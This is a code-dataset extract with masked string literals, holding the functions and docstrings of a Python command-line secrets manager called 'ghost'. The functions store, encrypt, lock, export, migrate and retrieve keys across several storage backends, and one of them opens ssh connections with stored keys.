{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>', required=False, type=click.STRING)<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>default=None,<EOL>type=click.STRING,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=<NUM_LIT:12>)<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>type=click.Choice(STORAGE_MAPPING.keys()),<EOL>help='<STR_LIT>')<EOL>def init_stash(stash_path, passphrase, passphrase_size, backend):", "body": "stash_path = stash_path or STORAGE_DEFAULT_PATH_MAPPING[backend]<EOL>click.echo('<STR_LIT>'.format(backend, stash_path))<EOL>storage = STORAGE_MAPPING[backend](**_parse_path_string(stash_path))<EOL>try:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>if os.path.isfile(PASSPHRASE_FILENAME):<EOL><INDENT>raise GhostError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(PASSPHRASE_FILENAME))<EOL><DEDENT>stash = Stash(<EOL>storage,<EOL>passphrase=passphrase,<EOL>passphrase_size=passphrase_size)<EOL>passphrase = stash.init()<EOL>if not passphrase:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>_write_passphrase_file(passphrase)<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>except (OSError, IOError) as ex:<EOL><INDENT>click.echo(\"<STR_LIT>\")<EOL>file_path = _parse_path_string(stash_path)['<STR_LIT>']<EOL>click.echo(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(file_path))<EOL>if os.path.isfile(file_path):<EOL><INDENT>os.remove(file_path)<EOL><DEDENT>sys.exit(ex)<EOL><DEDENT>click.echo('<STR_LIT>'.format(stash_path))<EOL>click.echo(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(PASSPHRASE_FILENAME))<EOL>click.echo(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "r\"\"\"Init a stash\n\n    `STASH_PATH` is the path to the storage endpoint. If this isn't supplied,\n    a default path will be used. In the path, you can specify a name\n    for the stash (which, if omitted, will default to `ghost`) like so:\n    `ghost init http://10.10.1.1:8500;stash1`.\n\n    After initializing a stash, don't forget you can set environment\n    variables for both your stash's path and its passphrase.\n    On Linux/OSx you can run:\n\n    export GHOST_STASH_PATH='http://10.10.1.1:8500;stash1'\n\n    export GHOST_PASSPHRASE=$(cat passphrase.ghost)\n\n    export GHOST_BACKEND='tinydb'", "id": "f575:m13"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.argument('<STR_LIT>', nargs=-<NUM_LIT:1>, required=True)<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>multiple=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>type=click.Choice(['<STR_LIT>', '<STR_LIT>']),<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def put_key(key_name,<EOL>value,<EOL>description,<EOL>meta,<EOL>modify,<EOL>add,<EOL>lock,<EOL>key_type,<EOL>stash,<EOL>passphrase,<EOL>backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>try:<EOL><INDENT>click.echo('<STR_LIT>'.format(key_type))<EOL>stash.put(<EOL>name=key_name,<EOL>value=_build_dict_from_key_value(value),<EOL>modify=modify,<EOL>metadata=_build_dict_from_key_value(meta),<EOL>description=description,<EOL>lock=lock,<EOL>key_type=key_type,<EOL>add=add)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>", "docstring": "Insert a key to the stash\n\n    `KEY_NAME` is the name of the key to insert\n\n    `VALUE` is a key=value argument which can be provided multiple times.\n    it is the encrypted value of your key", "id": "f575:m14"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def lock_key(key_name,<EOL>stash,<EOL>passphrase,<EOL>backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>try:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>stash.lock(key_name=key_name)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>", "docstring": "Lock a key to prevent it from being deleted, purged or modified\n\n    `KEY_NAME` is the name of the key to lock", "id": "f575:m15"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def unlock_key(key_name,<EOL>stash,<EOL>passphrase,<EOL>backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>try:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>stash.unlock(key_name=key_name)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>", "docstring": "Unlock a key to allow it to be modified, deleted or purged\n\n    `KEY_NAME` is the name of the key to unlock", "id": "f575:m16"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.argument('<STR_LIT>', required=False)<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>is_flag=True,<EOL>default=False,<EOL>help='<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def get_key(key_name,<EOL>value_name,<EOL>jsonify,<EOL>no_decrypt,<EOL>stash,<EOL>passphrase,<EOL>backend):", "body": "if value_name and no_decrypt:<EOL><INDENT>sys.exit('<STR_LIT>')<EOL><DEDENT>stash = _get_stash(backend, stash, passphrase, quiet=jsonify or value_name)<EOL>try:<EOL><INDENT>key = stash.get(key_name=key_name, decrypt=not no_decrypt)<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>if not key:<EOL><INDENT>sys.exit('<STR_LIT>'.format(key_name))<EOL><DEDENT>if value_name:<EOL><INDENT>key = key['<STR_LIT:value>'].get(value_name)<EOL>if not key:<EOL><INDENT>sys.exit(<EOL>'<STR_LIT>'.format(<EOL>value_name, key_name))<EOL><DEDENT><DEDENT>if jsonify or value_name:<EOL><INDENT>click.echo(<EOL>json.dumps(key, indent=<NUM_LIT:4>, sort_keys=False).strip('<STR_LIT:\">'),<EOL>nl=True)<EOL><DEDENT>else:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>click.echo('<STR_LIT:\\n>' + _prettify_dict(key))<EOL><DEDENT>", "docstring": "Retrieve a key from the stash\n\n    \\b\n    `KEY_NAME` is the name of the key to retrieve\n    `VALUE_NAME` is a single value to retrieve e.g. if the value\n     of the key `test` is `a=b,b=c`, `ghost get test a`a will return\n     `b`", "id": "f575:m17"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>', nargs=-<NUM_LIT:1>)<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def delete_key(key_name, stash, passphrase, backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>for key in key_name:<EOL><INDENT>try:<EOL><INDENT>click.echo('<STR_LIT>'.format(key))<EOL>stash.delete(key_name=key)<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT><DEDENT>click.echo('<STR_LIT>')<EOL>", "docstring": "Delete a key from the stash\n\n    `KEY_NAME` is the name of the key to delete\n    You can provide that multiple times to delete multiple keys at once", "id": "f575:m18"}
{"signature": "@main.command(name='<STR_LIT:list>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>', required=False)<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>default=<NUM_LIT:3>,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT:-c>',<EOL>'<STR_LIT>',<EOL>default=<NUM_LIT:0.5>,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>type=click.Choice(['<STR_LIT>', '<STR_LIT>']),<EOL>default=None,<EOL>help='<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def list_keys(key_name,<EOL>max_suggestions,<EOL>cutoff,<EOL>jsonify,<EOL>locked,<EOL>key_type,<EOL>stash,<EOL>passphrase,<EOL>backend):", "body": "stash = _get_stash(backend, stash, passphrase, quiet=jsonify)<EOL>try:<EOL><INDENT>keys = stash.list(<EOL>key_name=key_name,<EOL>max_suggestions=max_suggestions,<EOL>cutoff=cutoff,<EOL>locked_only=locked,<EOL>key_type=key_type)<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>if jsonify:<EOL><INDENT>click.echo(json.dumps(keys, indent=<NUM_LIT:4>, sort_keys=True))<EOL><DEDENT>elif not keys:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>click.echo(_prettify_list(keys))<EOL><DEDENT>", "docstring": "List all keys in the stash\n\n    If `KEY_NAME` is provided, will look for keys containing `KEY_NAME`.\n    If `KEY_NAME` starts with `~`, close matches will be provided according\n    to `max_suggestions` and `cutoff`.", "id": "f575:m19"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>required=True,<EOL>is_flag=True,<EOL>help='<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def purge_stash(force, stash, passphrase, backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>try:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>stash.purge(force)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>", "docstring": "Purge the stash from all of its keys", "id": "f575:m20"}
{"signature": "@main.command(name='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def export_keys(output_path, stash, passphrase, backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>try:<EOL><INDENT>click.echo('<STR_LIT>'.format(output_path))<EOL>stash.export(output_path=output_path)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>", "docstring": "Export all keys to a file", "id": "f575:m21"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def load_keys(key_file, origin_passphrase, stash, passphrase, backend):", "body": "stash = _get_stash(backend, stash, passphrase)<EOL>click.echo('<STR_LIT>'.format(key_file))<EOL>stash.load(origin_passphrase, key_file=key_file)<EOL>click.echo('<STR_LIT>')<EOL>", "docstring": "Load all keys from an exported key file to the stash\n\n    `KEY_FILE` is the exported stash file to load keys from", "id": "f575:m22"}
{"signature": "@main.command(name='<STR_LIT>',<EOL>short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>', type=click.STRING)<EOL>@click.argument('<STR_LIT>', type=click.STRING)<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>default=None,<EOL>type=click.STRING,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>type=click.Choice(STORAGE_MAPPING.keys()),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>default=None,<EOL>type=click.STRING,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>type=click.Choice(STORAGE_MAPPING.keys()),<EOL>help='<STR_LIT>')<EOL>def migrate_stash(source_stash_path,<EOL>source_passphrase,<EOL>source_backend,<EOL>destination_stash_path,<EOL>destination_passphrase,<EOL>destination_backend):", "body": "click.echo('<STR_LIT>'.format(<EOL>source_stash_path, destination_stash_path))<EOL>try:<EOL><INDENT>migrate(<EOL>src_path=source_stash_path,<EOL>src_passphrase=source_passphrase,<EOL>src_backend=source_backend,<EOL>dst_path=destination_stash_path,<EOL>dst_passphrase=destination_passphrase,<EOL>dst_backend=destination_backend)<EOL><DEDENT>except GhostError as ex:<EOL><INDENT>sys.exit(ex)<EOL><DEDENT>click.echo('<STR_LIT>')<EOL>", "docstring": "Migrate all keys from a source stash to a destination stash.\n\n    `SOURCE_STASH_PATH` and `DESTINATION_STASH_PATH` are the paths\n    to the stashs you wish to perform the migration on.", "id": "f575:m23"}
{"signature": "@main.command(name='<STR_LIT>', short_help='<STR_LIT>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.option('<STR_LIT>',<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@stash_option<EOL>@passphrase_option<EOL>@backend_option<EOL>def ssh(key_name, no_tunnel, stash, passphrase, backend):", "body": "<EOL>def execute(command):<EOL><INDENT>try:<EOL><INDENT>click.echo('<STR_LIT>'.format('<STR_LIT:U+0020>'.join(command)))<EOL>subprocess.check_call('<STR_LIT:U+0020>'.join(command), shell=True)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>stash = _get_stash(backend, stash, passphrase)<EOL>key = stash.get(key_name)<EOL>if key:<EOL><INDENT>_assert_is_ssh_type_key(key)<EOL><DEDENT>else:<EOL><INDENT>sys.exit('<STR_LIT>'.format(key_name))<EOL><DEDENT>conn_info = key['<STR_LIT:value>']<EOL>ssh_key_path = conn_info.get('<STR_LIT>')<EOL>ssh_key = conn_info.get('<STR_LIT>')<EOL>proxy_key_path = conn_info.get('<STR_LIT>')<EOL>proxy_key = conn_info.get('<STR_LIT>')<EOL>id_file = _write_tmp(ssh_key) if ssh_key else ssh_key_path<EOL>conn_info['<STR_LIT>'] = id_file<EOL>if conn_info.get('<STR_LIT>'):<EOL><INDENT>proxy_id_file = _write_tmp(proxy_key) if proxy_key else proxy_key_path<EOL>conn_info['<STR_LIT>'] = proxy_id_file<EOL><DEDENT>ssh_command = _build_ssh_command(conn_info, no_tunnel)<EOL>try:<EOL><INDENT>execute(ssh_command)<EOL><DEDENT>finally:<EOL><INDENT>if id_file != ssh_key_path:<EOL><INDENT>click.echo('<STR_LIT>'.format(id_file))<EOL>os.remove(id_file)<EOL><DEDENT>if conn_info.get('<STR_LIT>') and proxy_id_file != proxy_key_path:<EOL><INDENT>click.echo('<STR_LIT>'.format(<EOL>proxy_id_file))<EOL>os.remove(proxy_id_file)<EOL><DEDENT><DEDENT>", "docstring": "Use an ssh type key to connect to a machine via ssh\n\n    Note that trying to use a key of the wrong type (e.g. `secret`)\n    will result in an error.\n\n    `KEY_NAME` is the key to use.\n\n    For additional information on the different configuration options\n    for an ssh type key, see the repo's readme.", "id": "f575:m24"}
{"signature": "def _build_ssh_command(conn_info, no_tunnel=False):", "body": "command = ['<STR_LIT>', '<STR_LIT>', conn_info['<STR_LIT>'], conn_info['<STR_LIT>']]<EOL>if conn_info.get('<STR_LIT>') and not no_tunnel:<EOL><INDENT>command.insert(<NUM_LIT:1>, conn_info.get('<STR_LIT>'))<EOL>command.insert(<NUM_LIT:1>, '<STR_LIT>')<EOL>command.insert(<NUM_LIT:1>, '<STR_LIT>')<EOL><DEDENT>if conn_info.get('<STR_LIT>'):<EOL><INDENT>command.extend(_build_proxy_command(conn_info))<EOL><DEDENT>if conn_info.get('<STR_LIT>'):<EOL><INDENT>command.append(conn_info.get('<STR_LIT>'))<EOL><DEDENT>return command<EOL>", "docstring": "# TODO: Document clearly\nIndetityFile=\"~/.ssh/id_rsa\"\nProxyCommand=\"ssh -i ~/.ssh/id_rsa proxy_IP nc HOST_IP HOST_PORT\"", "id": "f575:m26"}
{"signature": "def put(self,<EOL>name,<EOL>value=None,<EOL>modify=False,<EOL>metadata=None,<EOL>description='<STR_LIT>',<EOL>encrypt=True,<EOL>lock=False,<EOL>key_type='<STR_LIT>',<EOL>add=False):", "body": "def assert_key_is_unlocked(existing_key):<EOL><INDENT>if existing_key and existing_key.get('<STR_LIT>'):<EOL><INDENT>raise GhostError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(name))<EOL><DEDENT><DEDENT>def assert_value_provided_for_new_key(value, existing_key):<EOL><INDENT>if not value and not existing_key.get('<STR_LIT:value>'):<EOL><INDENT>raise GhostError('<STR_LIT>')<EOL><DEDENT><DEDENT>self._assert_valid_stash()<EOL>self._validate_key_schema(value, key_type)<EOL>if value and encrypt and not isinstance(value, dict):<EOL><INDENT>raise GhostError('<STR_LIT>')<EOL><DEDENT>key = self._handle_existing_key(name, modify or add)<EOL>assert_key_is_unlocked(key)<EOL>assert_value_provided_for_new_key(value, key)<EOL>new_key = dict(name=name, lock=lock)<EOL>if value:<EOL><INDENT>if add:<EOL><INDENT>value = self._update_existing_key(key, value)<EOL><DEDENT>new_key['<STR_LIT:value>'] = self._encrypt(value) if encrypt else value<EOL><DEDENT>else:<EOL><INDENT>new_key['<STR_LIT:value>'] = key.get('<STR_LIT:value>')<EOL><DEDENT>new_key['<STR_LIT:description>'] = description or key.get('<STR_LIT:description>')<EOL>new_key['<STR_LIT>'] = key.get('<STR_LIT>') or _get_current_time()<EOL>new_key['<STR_LIT>'] = _get_current_time()<EOL>new_key['<STR_LIT>'] = metadata or key.get('<STR_LIT>')<EOL>new_key['<STR_LIT>'] = key.get('<STR_LIT>') or str(uuid.uuid4())<EOL>new_key['<STR_LIT:type>'] = key.get('<STR_LIT:type>') or key_type<EOL>key_id = self._storage.put(new_key)<EOL>audit(<EOL>storage=self._storage.db_path,<EOL>action='<STR_LIT>' if (modify or add) else '<STR_LIT>',<EOL>message=json.dumps(dict(<EOL>key_name=new_key['<STR_LIT:name>'],<EOL>value='<STR_LIT>',<EOL>description=new_key['<STR_LIT:description>'],<EOL>uid=new_key['<STR_LIT>'],<EOL>metadata=json.dumps(new_key['<STR_LIT>']),<EOL>lock=new_key['<STR_LIT>'],<EOL>type=new_key['<STR_LIT:type>'])))<EOL>return key_id<EOL>", "docstring": "Put a key inside the stash\n\n        if key exists and modify true: delete and create\n        if key exists and modify false: fail\n        if key doesn't exist and modify true: fail\n        if key doesn't exist and modify false: create\n\n        `name` is unique and cannot be changed.\n\n        `value` must be provided if the key didn't already exist, otherwise,\n        the previous value will be retained.\n\n        `created_at` will be left unmodified if the key\n        already existed. Otherwise, the current time will be used.\n\n        `modified_at` will be changed to the current time\n        if the field is being modified.\n\n        `metadata` will be updated if provided. If it wasn't\n        provided the field from the existing key will be used and the\n        same goes for the `uid` which will be generated if it didn't\n        previously exist.\n\n        `lock` will lock the key to prevent it from being modified or deleted\n\n        `add` allows to add values to an existing key instead of overwriting.\n\n        Returns the id of the key in the database", "id": "f575:c0:m4"}
{"signature": "def get(self, key_name, decrypt=True):", "body": "self._assert_valid_stash()<EOL>key = self._storage.get(key_name).copy()<EOL>if not key.get('<STR_LIT:value>'):<EOL><INDENT>return None<EOL><DEDENT>if decrypt:<EOL><INDENT>key['<STR_LIT:value>'] = self._decrypt(key['<STR_LIT:value>'])<EOL><DEDENT>audit(<EOL>storage=self._storage.db_path,<EOL>action='<STR_LIT:GET>',<EOL>message=json.dumps(dict(key_name=key_name)))<EOL>return key<EOL>", "docstring": "Return a key with its parameters if it was found.", "id": "f575:c0:m7"}
{"signature": "def list(self,<EOL>key_name=None,<EOL>max_suggestions=<NUM_LIT:100>,<EOL>cutoff=<NUM_LIT:0.5>,<EOL>locked_only=False,<EOL>key_type=None):", "body": "self._assert_valid_stash()<EOL>key_list = [k for k in self._storage.list()<EOL>if k['<STR_LIT:name>'] != '<STR_LIT>' and<EOL>(k.get('<STR_LIT>') if locked_only else True)]<EOL>if key_type:<EOL><INDENT>types = ('<STR_LIT>', None) if key_type == '<STR_LIT>' else [key_type]<EOL>key_list = [k for k in key_list if k.get('<STR_LIT:type>') in types]<EOL><DEDENT>key_list = [k['<STR_LIT:name>'] for k in key_list]<EOL>if key_name:<EOL><INDENT>if key_name.startswith('<STR_LIT>'):<EOL><INDENT>key_list = difflib.get_close_matches(<EOL>key_name.lstrip('<STR_LIT>'), key_list, max_suggestions, cutoff)<EOL><DEDENT>else:<EOL><INDENT>key_list = [k for k in key_list if key_name in k]<EOL><DEDENT><DEDENT>audit(<EOL>storage=self._storage.db_path,<EOL>action='<STR_LIT>' + ('<STR_LIT>' if locked_only else '<STR_LIT>'),<EOL>message=json.dumps(dict()))<EOL>return key_list<EOL>", "docstring": "Return a list of all keys.", "id": "f575:c0:m8"}
{"signature": "def delete(self, key_name):", "body": "self._assert_valid_stash()<EOL>if key_name == '<STR_LIT>':<EOL><INDENT>raise GhostError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if not self.get(key_name):<EOL><INDENT>raise GhostError('<STR_LIT>'.format(key_name))<EOL><DEDENT>key = self._storage.get(key_name)<EOL>if key.get('<STR_LIT>'):<EOL><INDENT>raise GhostError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(key_name))<EOL><DEDENT>deleted = self._storage.delete(key_name)<EOL>audit(<EOL>storage=self._storage.db_path,<EOL>action='<STR_LIT>',<EOL>message=json.dumps(dict(key_name=key_name)))<EOL>if not deleted:<EOL><INDENT>raise GhostError('<STR_LIT>'.format(key_name))<EOL><DEDENT>", "docstring": "Delete a key if it exists.", "id": "f575:c0:m9"}
{"signature": "def lock(self, key_name):", "body": "self._change_lock_state(key_name, lock=True)<EOL>", "docstring": "Lock a key to prevent it from being deleted, purged and modified", "id": "f575:c0:m11"}
{"signature": "def unlock(self, key_name):", "body": "self._change_lock_state(key_name, lock=False)<EOL>", "docstring": "Unlock a locked key", "id": "f575:c0:m12"}
{"signature": "def purge(self, force=False, key_type=None):", "body": "self._assert_valid_stash()<EOL>if not force:<EOL><INDENT>raise GhostError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>audit(<EOL>storage=self._storage.db_path,<EOL>action='<STR_LIT>',<EOL>message=json.dumps(dict()))<EOL>for key_name in self.list(key_type=key_type):<EOL><INDENT>self.delete(key_name)<EOL><DEDENT>", "docstring": "Purge the stash from all keys", "id": "f575:c0:m14"}
{"signature": "def export(self, output_path=None, decrypt=False):", "body": "self._assert_valid_stash()<EOL>all_keys = []<EOL>for key in self.list():<EOL><INDENT>all_keys.append(dict(self.get(key, decrypt=decrypt)))<EOL><DEDENT>if all_keys:<EOL><INDENT>if output_path:<EOL><INDENT>with open(output_path, '<STR_LIT:w>') as output_file:<EOL><INDENT>output_file.write(json.dumps(all_keys, indent=<NUM_LIT:4>))<EOL><DEDENT><DEDENT>return all_keys<EOL><DEDENT>else:<EOL><INDENT>raise GhostError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Export all keys in the stash to a list or a file", "id": "f575:c0:m15"}
{"signature": "def load(self, origin_passphrase, keys=None, key_file=None):", "body": "<EOL>self._assert_valid_stash()<EOL>if not (bool(keys) ^ bool(key_file)):<EOL><INDENT>raise GhostError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if key_file:<EOL><INDENT>with open(key_file) as stash_file:<EOL><INDENT>keys = json.loads(stash_file.read())<EOL><DEDENT><DEDENT>decrypt = origin_passphrase != self.passphrase<EOL>if decrypt:<EOL><INDENT>stub = Stash(TinyDBStorage('<STR_LIT>'), origin_passphrase)<EOL><DEDENT>for key in keys:<EOL><INDENT>self.put(<EOL>name=key['<STR_LIT:name>'],<EOL>value=stub._decrypt(key['<STR_LIT:value>']) if decrypt else key['<STR_LIT:value>'],<EOL>metadata=key['<STR_LIT>'],<EOL>description=key['<STR_LIT:description>'],<EOL>lock=key.get('<STR_LIT>'),<EOL>key_type=key.get('<STR_LIT:type>'),<EOL>encrypt=decrypt)<EOL><DEDENT>", "docstring": "Import keys to the stash from either a list of keys or a file\n\n        `keys` is a list of dictionaries created by `self.export`\n        `stash_path` is a path to a file created by `self.export`", "id": "f575:c0:m16"}
{"signature": "def _encrypt(self, value):", "body": "value = json.dumps(value)<EOL>with warnings.catch_warnings():<EOL><INDENT>warnings.simplefilter(\"<STR_LIT:ignore>\")<EOL>encrypted_value = self.cipher.encrypt(value.encode('<STR_LIT:utf8>'))<EOL><DEDENT>hexified_value = binascii.hexlify(encrypted_value).decode('<STR_LIT:ascii>')<EOL>return hexified_value<EOL>", "docstring": "Turn a json serializable value into an jsonified, encrypted,\n        hexa string.", "id": "f575:c0:m19"}
{"signature": "def _decrypt(self, hexified_value):", "body": "encrypted_value = binascii.unhexlify(hexified_value)<EOL>with warnings.catch_warnings():<EOL><INDENT>warnings.simplefilter(\"<STR_LIT:ignore>\")<EOL>jsonified_value = self.cipher.decrypt(<EOL>encrypted_value).decode('<STR_LIT:ascii>')<EOL><DEDENT>value = json.loads(jsonified_value)<EOL>return value<EOL>", "docstring": "The exact opposite of _encrypt", "id": "f575:c0:m20"}
{"signature": "def put(self, key):", "body": "return self.db.insert(key)<EOL>", "docstring": "Insert the key and return its database id", "id": "f575:c1:m3"}
{"signature": "def get(self, key_name):", "body": "result = self.db.search(Query().name == key_name)<EOL>if not result:<EOL><INDENT>return {}<EOL><DEDENT>return result[<NUM_LIT:0>]<EOL>", "docstring": "Return a dictionary consisting of the key itself\n\n        e.g.\n        {u'created_at': u'2016-10-10 08:31:53',\n         u'description': None,\n         u'metadata': None,\n         u'modified_at': u'2016-10-10 08:31:53',\n         u'name': u'aws',\n         u'uid': u'459f12c0-f341-413e-9d7e-7410f912fb74',\n         u'value': u'the_value'}", "id": "f575:c1:m4"}
{"signature": "def list(self):", "body": "<EOL>return self.db.search(Query().name.matches('<STR_LIT>'))<EOL>", "docstring": "Return a list of all keys (not just key names, but rather the keys\n        themselves).\n\n        e.g.\n         {u'created_at': u'2016-10-10 08:31:53',\n          u'description': None,\n          u'metadata': None,\n          u'modified_at': u'2016-10-10 08:31:53',\n          u'name': u'aws',\n          u'uid': u'459f12c0-f341-413e-9d7e-7410f912fb74',\n          u'value': u'the_value'},\n         {u'created_at': u'2016-10-10 08:32:29',\n          u'description': u'my gcp token',\n          u'metadata': {u'owner': u'nir'},\n          u'modified_at': u'2016-10-10 08:32:29',\n          u'name': u'gcp',\n          u'uid': u'a51a0043-f241-4d52-93c1-266a3c5de15e',\n          u'value': u'the_value'}]", "id": "f575:c1:m5"}
{"signature": "def delete(self, key_name):", "body": "self.db.remove(Query().name == key_name)<EOL>return self.get(key_name) == {}<EOL>", "docstring": "Delete the key and return true if the key was deleted, else false", "id": "f575:c1:m6"}
{"signature": "def _construct_key(self, values):", "body": "key = {}<EOL>for column, value in zip(self.keys.columns, values):<EOL><INDENT>key.update({column.name: value})<EOL><DEDENT>return key<EOL>", "docstring": "Return a dictionary representing a key from a list of columns\n        and a tuple of values", "id": "f575:c2:m8"}
{"signature": "def init(self):", "body": "", "docstring": "Consul creates directories on the fly, so no init is required.", "id": "f575:c3:m1"}
{"signature": "@property<EOL><INDENT>def is_initialized(self):<DEDENT>", "body": "return True<EOL>", "docstring": "...and therefore, this should always return true", "id": "f575:c3:m2"}
{"signature": "def put(self, key):", "body": "self._consul_request('<STR_LIT>', self._key_url(key['<STR_LIT:name>']), json=key)<EOL>return key['<STR_LIT:name>']<EOL>", "docstring": "Put and return the only unique identifier possible, its url", "id": "f575:c3:m3"}
{"signature": "def _decode(self, data):", "body": "return json.loads(base64.b64decode(data['<STR_LIT>']).decode('<STR_LIT:utf-8>'))<EOL>", "docstring": "Decode one key as returned by consul.\n\n        The format of the data returned is [{'Value': base-64-encoded-json,\n        'Key': keyname}]. We need to decode and return just the values.", "id": "f575:c3:m7"}
{"signature": "def put(self, key):", "body": "self.client.write(self._key_path(key['<STR_LIT:name>']), **key)<EOL>return self._key_path(key['<STR_LIT:name>'])<EOL>", "docstring": "Put and return the only unique identifier possible, its path", "id": "f575:c4:m3"}
